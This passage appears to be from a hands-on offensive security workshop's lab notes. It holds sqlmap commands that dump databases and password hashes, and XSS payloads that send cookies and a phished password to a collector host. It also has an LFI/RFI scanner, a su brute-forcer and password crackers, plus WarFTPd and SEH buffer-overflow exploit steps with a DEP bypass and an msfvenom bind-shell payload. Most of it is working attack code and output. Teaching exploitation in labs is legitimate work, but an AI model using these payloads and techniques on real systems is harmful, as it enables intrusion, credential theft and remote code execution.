  3139. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
  3140. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
  3141. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
  3142. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
  3143. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
  3144. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
  3145.  
  3146. -----------------------------------------------------------------------
  3147.  
  3148. ###############################################################################
  3149. # What is XSS #
  3150. # http://45.63.104.73/2-Intro_To_XSS.pptx #
  3151. ###############################################################################
  3152.  
  3153. OK - what is Cross Site Scripting (XSS)
  3154.  
  3155. 1. Use Firefox to browse to the following location:
  3156. ---------------------------Type This-----------------------------------
  3157.  
  3158. http://45.63.104.73/xss_practice/
  3159. -----------------------------------------------------------------------
  3160.  
  3161. A really simple search page that is vulnerable should come up.
  3162.  
  3163.  
  3164.  
  3165.  
  3166. 2. In the search box type:
  3167. ---------------------------Type This-----------------------------------
  3168.  
  3169. <script>alert('So this is XSS')</script>
  3170. -----------------------------------------------------------------------
  3171.  
  3172.  
  3173. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  3174. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  3175.  
  3176.  
  3177. 3. In the search box type:
  3178. ---------------------------Type This-----------------------------------
  3179.  
  3180. <script>alert(document.cookie)</script>
  3181. -----------------------------------------------------------------------
  3182.  
  3183.  
  3184. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  3185. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  3186.  
  3187. 4. Now replace that alert script with:
  3188. ---------------------------Type This-----------------------------------
  3189.  
  3190. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  3191. -----------------------------------------------------------------------
  3192.  
  3193.  
  3194. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  3195.  
  3196.  
  3197. 5. Now view the stolen cookie at:
  3198. ---------------------------Type This-----------------------------------
  3199.  
  3200. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  3201. -----------------------------------------------------------------------
  3202.  
  3203.  
  3204. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  3205.  
  3206.  
  3207.  
  3208.  
  3209.  
  3210.  
  3211. ############################
  3212. # A Better Way To Demo XSS #
  3213. ############################
  3214.  
  3215.  
  3216. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  3217.  
  3218.  
  3219. Use Firefox to browse to the following location:
  3220. ---------------------------Type This-----------------------------------
  3221.  
  3222. http://45.63.104.73/xss_practice/
  3223. -----------------------------------------------------------------------
  3224.  
  3225.  
  3226.  
  3227. Paste this in the search box
  3228. ----------------------------
  3229.  
  3230.  
  3231. ---------------------------Type This-----------------------------------
  3232.  
  3233. <script>
  3234. password=prompt('Your session is expired. Please enter your password to continue',' ');
  3235. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  3236. </script>
  3237. -----------------------------------------------------------------------
  3238.  
  3239.  
  3240. Now view the stolen cookie at:
  3241. ---------------------------Type This-----------------------------------
  3242.  
  3243. http://45.63.104.73/xss_practice/passwords.html
  3244.  
  3245. -----------------------------------------------------------------------
  3246.  
  3247.  
  3248. #################################################
  3249. # Lesson 25: Python Functions & String Handling #
  3250. #################################################
  3251.  
  3252. Python can make use of functions:
  3253. http://www.tutorialspoint.com/python/python_functions.htm
  3254.  
  3255.  
  3256.  
  3257. Python can interact with the 'crypt' function used to create Unix passwords:
  3258. http://docs.python.org/2/library/crypt.html
  3259.  
  3260.  
  3261.  
  3262. Tonight we will see a lot of the split() method so be sure to keep the following references close by:
  3263. http://www.tutorialspoint.com/python/string_split.htm
  3264.  
  3265.  
  3266. Tonight we will see a lot of slicing so be sure to keep the following references close by:
  3267. http://techearth.net/python/index.php5?title=Python:Basics:Slices
  3268.  
  3269.  
  3270. ---------------------------Type This-----------------------------------
  3271. vi LFI-RFI.py
  3272.  
  3273.  
  3274. ---------------------------Paste This-----------------------------------
  3275.  
  3276.  
  3277. #!/usr/bin/env python
  3278. print "\n### PHP LFI/RFI Detector ###"
  3279.  
  3280. import urllib2,re,sys
  3281.  
  3282. TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
  3283. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  3284. TravLimit = 12
  3285.  
  3286. print "==> Testing for LFI vulns.."
  3287. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  3288. for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
  3289. TARGET += "../"
  3290. try:
  3291. source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
  3292. except urllib2.URLError, e:
  3293. print "$$$ We had an Error:",e
  3294. sys.exit(0)
  3295. if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  3296. print "!! ==> LFI Found:",TARGET+"etc/passwd"
  3297. break ## BREAK LOOP WHEN VULN FOUND
  3298.  
  3299. print "\n==> Testing for RFI vulns.."
  3300. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  3301. try:
  3302. source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
  3303. except urllib2.URLError, e:
  3304. print "$$$ We had an Error:",e
  3305. sys.exit(0)
  3306. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  3307. print "!! => RFI Found:",TARGET
  3308.  
  3309. print "\nScan Complete\n" ## DONE
  3310.  
  3311.  
  3312.  
  3313. -----------------------------------------------------------------------
  3314.  
  3315.  
  3316. ################################
  3317. # Lesson 26: Password Cracking #
  3318. ################################
  3319.  
  3320. ---------------------------Type This-----------------------------------
  3321.  
  3322. wget http://45.63.104.73/htcrack.py
  3323.  
  3324. vi htcrack.py
  3325.  
  3326. vi list.txt
  3327.  
  3328. ---------------------------Paste This-----------------------------------
  3329.  
  3330. hello
  3331. goodbye
  3332. red
  3333. blue
  3334. yourname
  3335. tim
  3336. bob
  3337.  
  3338. -----------------------------------------------------------------------
  3339.  
  3340. ---------------------------Type This-----------------------------------
  3341.  
  3342. htpasswd -nd yourname
  3343. - enter yourname as the password
  3344.  
  3345.  
  3346.  
  3347. python htcrack.py joe:7XsJIbCFzqg/o list.txt
  3348.  
  3349.  
  3350.  
  3351.  
  3352. sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
  3353.  
  3354. rm -rf mechanize-0.2.5.tar.gz
  3355.  
  3356. sudo /bin/bash
  3357.  
  3358. passwd
  3359. ***set root password***
  3360.  
  3361.  
  3362.  
  3363. ---------------------------Type This-----------------------------------
  3364.  
  3365. vi rootbrute.py
  3366.  
  3367. ---------------------------Paste This-----------------------------------
  3368.  
  3369. #!/usr/bin/env python
  3370.  
  3371. import sys
  3372. try:
  3373. import pexpect
  3374. except(ImportError):
  3375. print "\nYou need the pexpect module."
  3376. print "http://www.noah.org/wiki/Pexpect\n"
  3377. sys.exit(1)
  3378.  
  3379. #Change this if needed.
  3380. # LOGIN_ERROR = 'su: incorrect password'
  3381. LOGIN_ERROR = "su: Authentication failure"
  3382.  
  3383. def brute(word):
  3384. print "Trying:",word
  3385. child = pexpect.spawn('/bin/su')
  3386. child.expect('Password: ')
  3387. child.sendline(word)
  3388. i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
  3389. if i == 1:
  3390. print "Incorrect Password"
  3391.  
  3392. if i == 2:
  3393. print "\n\t[!] Root Password:" ,word
  3394. child.sendline ('id')
  3395. print child.before
  3396. child.interact()
  3397.  
  3398. if len(sys.argv) != 2:
  3399. print "\nUsage : ./rootbrute.py <wordlist>"
  3400. print "Eg: ./rootbrute.py words.txt\n"
  3401. sys.exit(1)
  3402.  
  3403. try:
  3404. words = open(sys.argv[1], "r").readlines()
  3405. except(IOError):
  3406. print "\nError: Check your wordlist path\n"
  3407. sys.exit(1)
  3408.  
  3409. print "\n[+] Loaded:",len(words),"words"
  3410. print "[+] BruteForcing...\n"
  3411. for word in words:
  3412. brute(word.replace("\n",""))
  3413.  
  3414.  
  3415. -----------------------------------------------------------------------
  3416.  
  3417.  
  3418. References you might find helpful:
  3419. http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
  3420.  
  3421.  
  3422.  
  3423.  
  3424.  
  3425.  
  3426.  
  3427. ---------------------------Type This-----------------------------------
  3428.  
  3429.  
  3430. wget http://45.63.104.73/md5crack.py
  3431.  
  3432. vi md5crack.py
  3433.  
  3434.  
  3435. -----------------------------------------------------------------------
  3436.  
  3437.  
  3438.  
  3439.  
  3440. Why use hexdigest
  3441. http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
  3442.  
  3443.  
  3444.  
  3445.  
  3446. http://md5online.net/
  3447.  
  3448.  
  3449.  
  3450.  
  3451.  
  3452. ---------------------------Type This-----------------------------------
  3453.  
  3454.  
  3455. wget http://45.63.104.73/wpbruteforcer.py
  3456.  
  3457.  
  3458. -----------------------------------------------------------------------
  3459.  
  3460.  
  3461.  
  3462. #############
  3463. # Functions #
  3464. #############
  3465.  
  3466.  
  3467. ***********************
  3468. * What are Functions? *
  3469. ***********************
  3470.  
  3471.  
  3472. Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
  3473.  
  3474. How do you write functions in Python?
  3475.  
  3476. Python makes use of blocks.
  3477.  
  3478. A block is a area of code of written in the format of:
  3479.  
  3480. block_head:
  3481.  
  3482. 1st block line
  3483.  
  3484. 2nd block line
  3485.  
  3486. ...
  3487.  
  3488.  
  3489. Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
  3490.  
  3491. Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
  3492.  
  3493. def my_function():
  3494. print("Hello From My Function!")
  3495.  
  3496.  
  3497. Functions may also receive arguments (variables passed from the caller to the function). For example:
  3498.  
  3499. def my_function_with_args(username, greeting):
  3500. print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  3501.  
  3502.  
  3503. Functions may return a value to the caller, using the keyword- 'return' . For example:
  3504.  
  3505. def sum_two_numbers(a, b):
  3506. return a + b
  3507.  
  3508.  
  3509. ****************************************
  3510. * How do you call functions in Python? *
  3511. ****************************************
  3512.  
  3513. Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
  3514.  
  3515. # Define our 3 functions
  3516. ---------------------------Paste This-----------------------------------
  3517.  
  3518. def my_function():
  3519. print("Hello From My Function!")
  3520.  
  3521. def my_function_with_args(username, greeting):
  3522. print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  3523.  
  3524. def sum_two_numbers(a, b):
  3525. return a + b
  3526.  
  3527. # print(a simple greeting)
  3528. my_function()
  3529.  
  3530. #prints - "Hello, Joe, From My Function!, I wish you a great year!"
  3531. my_function_with_args("Joe", "a great year!")
  3532.  
  3533. # after this line x will hold the value 3!
  3534. x = sum_two_numbers(1,2)
  3535. -----------------------------------------------------------------------
  3536.  
  3537.  
  3538. ************
  3539. * Exercise *
  3540. ************
  3541.  
  3542. In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
  3543.  
  3544. Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
  3545.  
  3546. Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
  3547.  
  3548. Run and see all the functions work together!
  3549.  
  3550.  
  3551. ---------------------------Paste This-----------------------------------
  3552.  
  3553. # Modify this function to return a list of strings as defined above
  3554. def list_benefits():
  3555. pass
  3556.  
  3557. # Modify this function to concatenate to each benefit - " is a benefit of functions!"
  3558. def build_sentence(benefit):
  3559. pass
  3560.  
  3561. def name_the_benefits_of_functions():
  3562. list_of_benefits = list_benefits()
  3563. for benefit in list_of_benefits:
  3564. print(build_sentence(benefit))
  3565.  
  3566. name_the_benefits_of_functions()
  3567.  
  3568.  
  3569. -----------------------------------------------------------------------
  3570.  
  3571.  
  3572.  
  3573.  
  3574. Please download this file to your Windows host machine, and extract it to your Desktop.
  3575. http://45.63.104.73/ED-Workshop-Files.zip
  3576.  
  3577.  
  3578.  
  3579.  
  3580.  
  3581. ###########################
  3582. # Lab 1a: Stack Overflows #
  3583. ###########################
  3584.  
  3585. #############################
  3586. # Start WarFTPd #
  3587. # Start WinDBG #
  3588. # Press F6 #
  3589. # Attach to war-ftpd.exe #
  3590. #############################
  3591. ---------------------------Type This-----------------------------------
  3592.  
  3593. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
  3594.  
  3595.  
  3596. python warftpd1.py | nc XPSP3-ED-Target-IP 21
  3597.  
  3598.  
  3599. At WINDBG prompt
  3600. “r” to show registers or “alt+4”
  3601. dd esp
  3602.  
  3603. -----------------------------------------------------------------------
  3604. ---------------------------Type This-----------------------------------
  3605.  
  3606. python warftpd2.py | nc XPSP3-ED-Target-IP 21
  3607.  
  3608.  
  3609. At WINDBG prompt
  3610. “r” to show registers or “alt+4”
  3611. dd esp
  3612. -----------------------------------------------------------------------
  3613.  
  3614. Eip: 32714131
  3615. esp: affd58 (71413471)
  3616.  
  3617. Now we need to SSH into the StrategicSec Ubuntu host
  3618. ---------------------------Type This-----------------------------------
  3619.  
  3620. cd /home/strategicsec/toolz/metasploit/tools/exploit
  3621.  
  3622. ruby pattern_offset.rb 32714131
  3623. 485
  3624.  
  3625. ruby pattern_offset.rb 71413471
  3626. 493
  3627. -----------------------------------------------------------------------
  3628.  
  3629. Distance to EIP is: 485
  3630. Relative position of ESP is: 493
  3631.  
  3632. RET – POP EIP
  3633. RET 4 – POP EIP and shift ESP down by 4 bytes
  3634. ---------------------------Type This-----------------------------------
  3635.  
  3636. cd /home/strategicsec/toolz/metasploit/
  3637. ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
  3638. -----------------------------------------------------------------------
  3639.  
  3640. 0x7c9c167d push esp; retn 0x304d
  3641. 0x7c9d30d7 jmp esp < - how about we use this one
  3642. 0x7c9d30eb jmp esp
  3643. 0x7c9d30ff jmp esp
  3644.  
  3645.  
  3646. warftpd3.py with Notepad++
  3647. Fill in the appropriate values
  3648. Distance to EIP
  3649. Address of JMP ESP
  3650.  
  3651.  
  3652. ---------------------------Type This-----------------------------------
  3653.  
  3654. python warftpd3.py | nc XPSP3-ED-Target-IP 21
  3655.  
  3656. 0:003> dd eip
  3657. 0:003> dd esp
  3658.  
  3659. -----------------------------------------------------------------------
  3660.  
  3661.  
  3662.  
  3663.  
  3664. Mention bad characters
  3665. No debugger
  3666.  
  3667. ---------------------------Type This-----------------------------------
  3668.  
  3669.  
  3670. python warftpd4.py | nc XPSP3-ED-Target-IP 21
  3671.  
  3672. nc XPSP3-ED-Target-IP 4444
  3673.  
  3674. -----------------------------------------------------------------------
  3675.  
  3676.  
  3677.  
  3678.  
  3679. There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
  3680.  
  3681. Shellcode test 1: Calculate space for shellcode
  3682. Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
  3683.  
  3684.  
  3685.  
  3686.  
  3687.  
  3688. Shellcode test 2: Identify bad characters
  3689.  
  3690. Replace the INT3 (cc) dummy shellcode with this string:
  3691. ---------------------------Type This-----------------------------------
  3692.  
  3693. "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  3694.  
  3695. -----------------------------------------------------------------------
  3696.  
  3697. Send this new shellcode string and identify the places where it truncates - these are the bad characters
  3698.  
  3699.  
  3700.  
  3701.  
  3702. Here is what the string looks like after I manually tested and removed each of the bad characters:
  3703. ---------------------------Type This-----------------------------------
  3704.  
  3705. shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  3706.  
  3707. -----------------------------------------------------------------------
  3708.  
  3709.  
  3710. ---------------------------Type This-----------------------------------
  3711.  
  3712. ./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
  3713.  
  3714. -----------------------------------------------------------------------
  3715.  
  3716.  
  3717.  
  3718.  
  3719. ###########################################
  3720. # Lab 1b: Stack Overflows with DEP Bypass #
  3721. ###########################################
  3722.  
  3723. Reboot your target host and choose the "2nd" option for DEP.
  3724.  
  3725. ---------------------------Type This-----------------------------------
  3726.  
  3727. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
  3728.  
  3729.  
  3730.  
  3731.  
  3732. python warftpd1.py | nc XPSP3-ED-Target-IP 21
  3733.  
  3734. At WINDBG prompt
  3735. “r” to show registers or “alt+4”
  3736.  
  3737. dd esp
  3738.  
  3739. -----------------------------------------------------------------------
  3740.  
  3741. ---------------------------Type This-----------------------------------
  3742.  
  3743. python warftpd2.py | nc XPSP3-ED-Target-IP 21
  3744.  
  3745.  
  3746. At WINDBG prompt
  3747. “r” to show registers or “alt+4”
  3748. dd esp
  3749. -----------------------------------------------------------------------
  3750.  
  3751. Eip: 32714131
  3752. esp: affd58 (71413471)
  3753.  
  3754. Now we need to SSH into the StrategicSec Ubuntu host
  3755. ---------------------------Type This-----------------------------------
  3756.  
  3757. cd /home/strategicsec/toolz/metasploit/tools/exploit
  3758.  
  3759. ruby pattern_offset.rb 32714131
  3760. 485
  3761.  
  3762. ruby pattern_offset.rb 71413471
  3763. 493
  3764.  
  3765.  
  3766.  
  3767.  
  3768.  
  3769.  
  3770.  
  3771.  
  3772. cd /home/strategicsec/toolz/metasploit/tools/exploit
  3773.  
  3774. ruby pattern_offset.rb 32714131
  3775.  
  3776. cd /home/strategicsec/toolz/metasploit/
  3777.  
  3778. ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
  3779.  
  3780.  
  3781.  
  3782. python warftpd3.py | nc XPSP3-ED-Target-IP 21
  3783.  
  3784. 0:003> dd eip
  3785. 0:003> dd esp
  3786. -----------------------------------------------------------------------
  3787.  
  3788. INT3s - GOOD!!!!!!!
  3789.  
  3790. ---------------------------Type This-----------------------------------
  3791.  
  3792.  
  3793. python warftpd4.py | nc XPSP3-ED-Target-IP 21
  3794.  
  3795. nc XPSP3-ED-Target-IP 4444
  3796. -----------------------------------------------------------------------
  3797.  
  3798.  
  3799. strategicsec....exploit no workie!!!!
  3800.  
  3801.  
  3802. Why????????? DEP!!!!!!!!!!!!!
  3803.  
  3804.  
  3805.  
  3806.  
  3807. Let's look through ole32.dll for the following instructions:
  3808.  
  3809. mov al,0x1
  3810. ret 0x4
  3811.  
  3812. We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
  3813.  
  3814.  
  3815. ---------------------------Type This-----------------------------------
  3816.  
  3817. ./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
  3818. -----------------------------------------------------------------------
  3819.  
  3820. [DLLs/xpsp3/ole32.dll]
  3821. 0x775ee00e b001c204
  3822. 0x775ee00e mov al, 1
  3823. 0x775ee010 ret 4
  3824.  
  3825.  
  3826. Then we need to jump to the LdrpCheckNXCompatibility routine in
  3827. ntdll.dll that disables DEP.
  3828.  
  3829.  
  3830.  
  3831. Inside of ntdll.dll we need to find the following instructions:
  3832.  
  3833. CMP AL,1
  3834. PUSH 2
  3835. POP ESI
  3836. JE ntdll.7
  3837.  
  3838. ---------------------------Type This-----------------------------------
  3839.  
  3840.  
  3841. ./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
  3842. -----------------------------------------------------------------------
  3843.  
  3844. [DLLs/xpsp3/ntdll.dll]
  3845. 0x7c91cd24 3c016a025e0f84
  3846. 0x7c91cd24 cmp al, 1
  3847. 0x7c91cd26 push 2
  3848. 0x7c91cd28 pop esi
  3849. 0x7c91cd29 jz 7
  3850.  
  3851.  
  3852. This set of instructions makes sure that AL is set to 1, 2 is pushed
  3853. on the stack then popped into ESI.
  3854.  
  3855.  
  3856.  
  3857. ---------------------------Paste This-----------------------------------
  3858.  
  3859.  
  3860. dep = "\x0e\xe0\x5e\x77"+\
  3861. "\xff\xff\xff\xff"+\
  3862. "\x24\xcd\x91\x7c"+\
  3863. "\xff\xff\xff\xff"+\
  3864. "A"*0x54
  3865.  
  3866. -----------------------------------------------------------------------
  3867.  
  3868.  
  3869. #############################
  3870. # Start WarFTPd #
  3871. # Start WinDBG #
  3872. # Press F6 #
  3873. # Attach to war-ftpd.exe #
  3874. # bp 0x775ee00e #
  3875. # g #
  3876. #############################
  3877.  
  3878.  
  3879. ---------------------------Type This-----------------------------------
  3880.  
  3881.  
  3882. python warftpd5.py | nc XPSP3-ED-Target-IP 21
  3883.  
  3884. -----------------------------------------------------------------------
  3885. We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
  3886.  
  3887. mov al,0x1
  3888. ret 0x4
  3889.  
  3890.  
  3891.  
  3892.  
  3893. 0:005> g
  3894. Breakpoint 0 hit
  3895. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  3896. eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
  3897. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
  3898. ole32!CSSMappedStream::IsWriteable:
  3899. 775ee00e b001 mov al,1
  3900.  
  3901.  
  3902. 0:001> t
  3903. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  3904. eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
  3905. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
  3906. ole32!CSSMappedStream::IsWriteable+0x2:
  3907. 775ee010 c20400 ret 4
  3908.  
  3909.  
  3910.  
  3911.  
  3912.  
  3913. ---------------------------------------------------------------------------
  3914. Ok, so inside of ntdll.dll we need to find the following instructions:
  3915.  
  3916. CMP AL,1
  3917. PUSH 2
  3918. POP ESI
  3919. JE ntdll.7
  3920.  
  3921. 0:001> t
  3922. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  3923. eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
  3924. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
  3925. ntdll!LdrpCheckNXCompatibility+0x13:
  3926. 7c91cd24 3c01 cmp al,1
  3927.  
  3928.  
  3929. 0:001> t
  3930. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  3931. eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
  3932. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
  3933. ntdll!LdrpCheckNXCompatibility+0x15:
  3934. 7c91cd26 6a02 push 2
  3935.  
  3936.  
  3937. 0:001> t
  3938. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  3939. eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
  3940. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
  3941. ntdll!LdrpCheckNXCompatibility+0x17:
  3942. 7c91cd28 5e pop esi
  3943.  
  3944.  
  3945. 0:001> t
  3946. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
  3947. eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
  3948. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
  3949. ntdll!LdrpCheckNXCompatibility+0x18:
  3950. 7c91cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
  3951.  
  3952.  
  3953. ---------------------------------------------------------------------------
  3954.  
  3955.  
  3956. ---------------------------Type This-----------------------------------
  3957.  
  3958. python warftpd5.py | nc XPSP3-ED-Target-IP 21
  3959.  
  3960. nc XPSP3-ED-Target-IP 4444
  3961.  
  3962. -----------------------------------------------------------------------
  3963.  
  3964. ##########################
  3965. # Lab 1c: SEH Overwrites #
  3966. ##########################
  3967.  
  3968. #################################################
  3969. # On our VictimXP Host (XPSP3-ED-Target-IP) #
  3970. # Start sipXexPhone if it isn’t already running #
  3971. # Start WinDBG #
  3972. # Press “F6” and Attach to sipXexPhone.exe #
  3973. # Press “F5” to start the debugger #
  3974. #################################################
  3975.  
  3976. ---------------------------Type This-----------------------------------
  3977.  
  3978. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
  3979.  
  3980.  
  3981.  
  3982. python sipex0.py XPSP3-ED-Target-IP
  3983.  
  3984. 0:003> !exchain
  3985. 0:003> dds esp
  3986. 0:003> dds
  3987.  
  3988. python sipex1.py XPSP3-ED-Target-IP
  3989.  
  3990. 0:003> !exchain
  3991. 0:003> g
  3992.  
  3993. When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
  3994.  
  3995.  
  3996. python sipex2.py XPSP3-ED-Target-IP
  3997.  
  3998. 0:003> !exchain
  3999. 0:003> g
  4000.  
  4001.  
  4002. ***ssh into instructor Ubuntu host***
  4003. cd /home/strategicsec/toolz/metasploit/tools/exploit
  4004. ruby pattern_offset.rb 41346941 We should see that SEH is at 252
  4005.  
  4006.  
  4007.  
  4008. !load narly
  4009. !nmod
  4010.  
  4011. ***ssh into the Ubuntu host***
  4012. ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
  4013. cd /home/strategicsec/toolz/metasploit/
  4014. ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
  4015.  
  4016. -----------------------------------------------------------------------
